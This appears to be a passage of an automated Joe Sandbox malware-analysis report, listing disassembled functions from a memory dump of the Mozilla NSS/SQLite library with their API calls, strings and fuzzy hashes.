Instruction Fuzzy Hash: D861B4B0E01345DBEB01DF64D881BAEB7B9BF29348F144129EC19AB742E731E945CB61

Function 6C9EADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAE10
EnterCriticalSection.KERNEL32(?,?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C9CD079,00000000,00000001), ref: 6C9EAE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAE7F
TlsGetValue.KERNEL32(?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAEF1
free.MOZGLUE(6C9CCDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9CCDBB,?), ref: 6C9EAF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C9CCDBB,?,6C9CD079,00000000,00000001), ref: 6C9EAF30

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: d11188837e8fe113519a20cf787a9735f862cec866ada40d8f2ed70392f2a0de
Instruction ID: 912507999ff1a794690f51ddda2c541c4130cd86c4bf1cbc5c688350f06d781d
Opcode Fuzzy Hash: d11188837e8fe113519a20cf787a9735f862cec866ada40d8f2ed70392f2a0de
Instruction Fuzzy Hash: 345195B5A01602EFDB06DF25D884755BBB8FF28318F144658D81897E21EB31F8A4CBD1

Function 6C9C4CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C9CAB7F,?,00000000,?), ref: 6C9C4CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C9CAB7F,?,00000000,?), ref: 6C9C4CC8
TlsGetValue.KERNEL32(?,6C9CAB7F,?,00000000,?), ref: 6C9C4CE0
EnterCriticalSection.KERNEL32(?,?,6C9CAB7F,?,00000000,?), ref: 6C9C4CF4
PL_HashTableLookup.NSS3(?,?,?,6C9CAB7F,?,00000000,?), ref: 6C9C4D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C9C4D10

Part of subcall function 6CA4DD70: TlsGetValue.KERNEL32 ref: 6CA4DD8C
Part of subcall function 6CA4DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CA4DDB4

PR_Now.NSS3(?,00000000,?), ref: 6C9C4D26

Part of subcall function 6CA69DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CAB0A27), ref: 6CA69DC6
Part of subcall function 6CA69DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CAB0A27), ref: 6CA69DD1
Part of subcall function 6CA69DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CA69DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C9C4D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C9C4DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C9C4E02

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: a3b68b5c52296f2a42e738eb98a372035b7a37a5c8822c7fbd62ec01c4cf69a9
Instruction ID: b15db3f28c25becf21cd87f914594dd2a1ffe82a26fb87aa1af97916600df611
Opcode Fuzzy Hash: a3b68b5c52296f2a42e738eb98a372035b7a37a5c8822c7fbd62ec01c4cf69a9
Instruction Fuzzy Hash: 8541A8B5B00205ABEB016F68EC4496777B8BF2635CF058170EC1897B11EB31E959CB93

Function 6C9ABFF0 Relevance: 15.1, APIs: 10, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C9ABFFB

Part of subcall function 6CA00FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C9A87ED,00000800,6C99EF74,00000000), ref: 6CA01000
Part of subcall function 6CA00FF0: PR_NewLock.NSS3(?,00000800,6C99EF74,00000000), ref: 6CA01016
Part of subcall function 6CA00FF0: PL_InitArenaPool.NSS3(00000000,security,6C9A87ED,00000008,?,00000800,6C99EF74,00000000), ref: 6CA0102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000018C), ref: 6C9AC015

Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA010F3
Part of subcall function 6CA010C0: EnterCriticalSection.KERNEL32(?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0110C
Part of subcall function 6CA010C0: PL_ArenaAllocate.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01141
Part of subcall function 6CA010C0: PR_Unlock.NSS3(?,?,?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA01182
Part of subcall function 6CA010C0: TlsGetValue.KERNEL32(?,6C9A8802,00000000,00000008,?,6C99EF74,00000000), ref: 6CA0119C

memset.VCRUNTIME140(-00000004,00000000,00000188), ref: 6C9AC032
DER_SetUInteger.NSS3(00000000,00000078,00000000), ref: 6C9AC04D

Part of subcall function 6C9F69E0: PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C9F6A47
Part of subcall function 6C9F69E0: memcpy.VCRUNTIME140(00000000,-00000005,00000001), ref: 6C9F6A64

DER_SetUInteger.NSS3(00000000,00000084,?), ref: 6C9AC064
CERT_CopyName.NSS3(00000000,000000A8,?), ref: 6C9AC07B

Part of subcall function 6C9A8980: PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6C9A7310), ref: 6C9A89B8
Part of subcall function 6C9A8980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6C9A7310), ref: 6C9A89E6
Part of subcall function 6C9A8980: PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6C9A8A00
Part of subcall function 6C9A8980: CERT_CopyRDN.NSS3(00000004,00000000,6C9A7310,?,?,00000004,?), ref: 6C9A8A1B
Part of subcall function 6C9A8980: PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6C9A8A74

Part of subcall function 6C9A1D10: PORT_FreeArena_Util.NSS3(000000B0,00000000,00000000,00000000,00000000,?,6C9AC097,00000000,000000B0,?), ref: 6C9A1D2C
Part of subcall function 6C9A1D10: SECITEM_CopyItem_Util.NSS3(000000B0,00000004,6C9AC09B,00000000,00000000,00000000,?,6C9AC097,00000000,000000B0,?), ref: 6C9A1D3F
Part of subcall function 6C9A1D10: SECITEM_CopyItem_Util.NSS3(000000B0,-00000010,6C9AC087,00000000,000000B0,?), ref: 6C9A1D54

CERT_CopyName.NSS3(00000000,000000CC,?), ref: 6C9AC0AD
SECKEY_CopySubjectPublicKeyInfo.NSS3(00000000,-000000D4,?), ref: 6C9AC0C9

Part of subcall function 6C9B2DD0: SECOID_CopyAlgorithmID_Util.NSS3(-000000D4,-00000004,6C9AC0D2,6C9AC0CE,00000000,-000000D4,?), ref: 6C9B2DF5
Part of subcall function 6C9B2DD0: SECITEM_CopyItem_Util.NSS3(-000000D4,-0000001C,?,?,?,?,6C9AC0CE,00000000,-000000D4,?), ref: 6C9B2E27

CERT_DestroyCertificate.NSS3(00000000), ref: 6C9AC0D6
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C9AC0E3

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$Copy$Arena$Alloc_Arena_$FreeItem_$IntegerNameValue$AlgorithmAllocateCertificateCriticalDestroyEnterGrow_InfoInitLockPoolPublicSectionSubjectUnlockcallocmemcpymemset
String ID:
API String ID: 3955726912-0
Opcode ID: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction ID: 8e680ba61ece53ca6d49d0cb6e152c150568c387720cc7f91edd9985b3c6abcd
Opcode Fuzzy Hash: a0e100b580992dc40121ac9e8a0f33dfbfe694752f39d7853d339443a5b37f32
Instruction Fuzzy Hash: 6E2165A6A40215A7FF015AA2AD81FFB326CDB6175CF084134FD04DD646FB26D51A8372

Function 6C9C89C0 Relevance: 15.1, APIs: 10, Instructions: 84COMMON

Download Yara Rule

APIs

PK11_CreateDigestContext.NSS3(00000004,00000000,00000000,00000000,00000000,?,6C9CAE9B,00000000,?,?), ref: 6C9C89DE
PK11_DigestBegin.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,6C9A2D6B,?,?,00000000), ref: 6C9C89EF
PK11_DigestOp.NSS3(00000000,57016AC6,034C08E8,?,00000000,?,?,?,?,?,?,?,?,?,?,6C9A2D6B), ref: 6C9C8A02
PK11_DestroyContext.NSS3(00000000,00000001,?,00000000,?,?,?,?,?,?,?,?,?,?,6C9A2D6B,?), ref: 6C9C8A11

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: K11_$Digest$Context$BeginCreateDestroy
String ID:
API String ID: 407214398-0
Opcode ID: 8e7f3727992ddf305b35752450c243775e96ec94efe22f772beadd05b10fb007
Instruction ID: a4999c8a60a03a511d5be27ad69a0bc68dbe56d75fbbb344fd87e07aefb75a45
Opcode Fuzzy Hash: 8e7f3727992ddf305b35752450c243775e96ec94efe22f772beadd05b10fb007
Instruction Fuzzy Hash: 391106F2B40300A7FB045A647C81BBB355C9B6179CF080036ED099AB42F762D969C2F7

Function 6C9A2E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C9A2CDA,?,00000000), ref: 6C9A2E1E

Part of subcall function 6C9FFD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C9A9003,?), ref: 6C9FFD91
Part of subcall function 6C9FFD80: PORT_Alloc_Util.NSS3(A4686CA0,?), ref: 6C9FFDA2
Part of subcall function 6C9FFD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CA0,?,?), ref: 6C9FFDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C9A2E33

Part of subcall function 6C9FFD80: free.MOZGLUE(00000000,?,?), ref: 6C9FFDD1

TlsGetValue.KERNEL32 ref: 6C9A2E4E
EnterCriticalSection.KERNEL32(?), ref: 6C9A2E5E
PL_HashTableLookup.NSS3(?), ref: 6C9A2E71
PL_HashTableRemove.NSS3(?), ref: 6C9A2E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C9A2E96
PR_Unlock.NSS3 ref: 6C9A2EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C9A2EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C9A2EC5

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: e94863ee34defe7802c9f410aadb2e179f3562c7a0b38db0c7a8ce57389f8aa6
Instruction ID: 19cca73458aeb0c54d1d2c6d013a61883748d94915f8d25ce1feab59d28e3237
Opcode Fuzzy Hash: e94863ee34defe7802c9f410aadb2e179f3562c7a0b38db0c7a8ce57389f8aa6
Instruction Fuzzy Hash: 2421C876A0020167DF111B65EC09E9B3A7DDB7235DF184034ED1C86B11F732D5AEC6A2

Function 6C98FC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C98FD18
sqlite3_initialize.NSS3 ref: 6C98FD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C98FD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6C98FD99
sqlite3_free.NSS3(00000000), ref: 6C98FE3C
sqlite3_free.NSS3(?), ref: 6C98FEE3
sqlite3_free.NSS3(?), ref: 6C98FEEE

Strings

simple, xrefs: 6C98FC79

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: bb2a973f1cfde605d0baf744d899947e42b3b2e232e1715e6f4e41da05646016
Instruction ID: 83de224ae0212b28b98abb2479eb5a0c3725c4e7ecd1f2ad335ced501525c731
Opcode Fuzzy Hash: bb2a973f1cfde605d0baf744d899947e42b3b2e232e1715e6f4e41da05646016
Instruction Fuzzy Hash: 5091A1B1A022058FDB04CF55C880AAAF7B5FF8431CF25C96CD8199BB52E735E951CBA0

Function 6C995CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C995EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C995EED

Strings

API call with %s database connection pointer, xrefs: 6C995EC3
%s at line %d of [%.10s], xrefs: 6C995EE0
misuse, xrefs: 6C995EDB
unable to close due to unfinalized statements or unfinished backups, xrefs: 6C995E64
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C995ED1
invalid, xrefs: 6C995EBE

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse$unable to close due to unfinalized statements or unfinished backups
API String ID: 632333372-1982981357
Opcode ID: 410f09ddc7d355a720703e02fe84318d414e77c86e9f0e147868ee7bdbbea743
Instruction ID: 2ab0a601e4b196cdfd9081e243b32bdd3009e354478a3595760d29d0f8a1b718
Opcode Fuzzy Hash: 410f09ddc7d355a720703e02fe84318d414e77c86e9f0e147868ee7bdbbea743
Instruction Fuzzy Hash: 3081FF30B066029BEB18CF65C858B6B7378BF4131AF2D4368D8165BB60D730E856CBD1

Function 6C97DCC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 225COMMON

Download Yara Rule

APIs

_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C97DDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C97DE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C97DE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C97DEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C97DF78

Strings

database corruption, xrefs: 6C97DE5C, 6C97DE8B
%s at line %d of [%.10s], xrefs: 6C97DE61, 6C97DE90
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C97DE52, 6C97DE81

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: 3182359983a2192b9eadf4dc81ae5a49110d9e21752c9d2fbb5a0e8702ff3838
Instruction ID: b28dcdc878b25e4963812ce02ca2711a7720669e5d8594476e048530d2bea5be
Opcode Fuzzy Hash: 3182359983a2192b9eadf4dc81ae5a49110d9e21752c9d2fbb5a0e8702ff3838
Instruction Fuzzy Hash: 5D81D1726053009FD724CF25C980B6A77F5BF95308F15882DE89A8BF91E731E845CBA2

Function 6C92CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C92B999), ref: 6C92CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6C92B999), ref: 6C92D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6C92B999), ref: 6C92D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6C92B999), ref: 6CA7972B

Strings

database corruption, xrefs: 6C92CFE7, 6C92D013, 6C92D028, 6C92D039, 6C92D03E, 6CA79786
%s at line %d of [%.10s], xrefs: 6C92CFEC, 6C92D018, 6C92D029, 6C92D03F, 6CA7978B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C92CFDD, 6C92D00E, 6C92D022, 6C92D033, 6CA79780

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 0f442af9ec8c5eea2170cc4c14aad82ee901d531bb3d3763fd3d2c3ace124f9a
Instruction ID: 5792cf67b12b760d9a9afb72d28fdd8e51cb498ae6310a2a36d0ed3ab066ca64
Opcode Fuzzy Hash: 0f442af9ec8c5eea2170cc4c14aad82ee901d531bb3d3763fd3d2c3ace124f9a
Instruction Fuzzy Hash: AC611971A042108FD320CF29C840BA6B7F5FF55319F59456EE4889BB42D37AE987C7A1

Function 6CA2FFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CA35B40: PR_GetIdentitiesLayer.NSS3 ref: 6CA35B56

PK11_FreeSymKey.NSS3(00000000), ref: 6CA30113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA30130
PORT_Alloc_Util.NSS3(00000040), ref: 6CA3015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6CA301AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6CA30202
free.MOZGLUE(?), ref: 6CA30224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA30253

Strings

exporter, xrefs: 6CA300F7

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085230637.000000006CAFF000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085256582.000000006CB00000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085295493.000000006CB05000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6c920000_NTJ5FCNZGEJS945U0MUPLHRT.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: 58f713a3fc5fe108bb8e184fb1a374edd7bc5aaf80e29ab98f65d4c68dddb3e1
Instruction ID: 7f1152f610e7012021b7e4658dc1de511c733531ebfe3751b79c8bfe3c1fe9b8
Opcode Fuzzy Hash: 58f713a3fc5fe108bb8e184fb1a374edd7bc5aaf80e29ab98f65d4c68dddb3e1
Instruction Fuzzy Hash: 186102719003999BEF018FA8DD21BEA77B6BF4430CF185228E91E96661E731A9D8C740

Function 6CAB3980 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 116COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CAB3998
tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAB3A08
memchr.VCRUNTIME140(0123456789abcdef,00000000,0000000A), ref: 6CAB3A18
tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CAB3A51
memchr.VCRUNTIME140(0123456789abcdef,00000000,?), ref: 6CAB3A64

Strings

-, xrefs: 6CAB39A7
+, xrefs: 6CAB39A2
0123456789abcdef, xrefs: 6CAB3A13, 6CAB3A2D, 6CAB3A5E, 6CAB3A63

Memory Dump Source

Source File: 00000005.00000002.3084990405.000000006C921000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000005.00000002.3084918637.000000006C920000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085128140.000000006CABF000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3085172637.000000006CAFE000.00000004.00000001.01000000.0000000D.sdmpDownload File
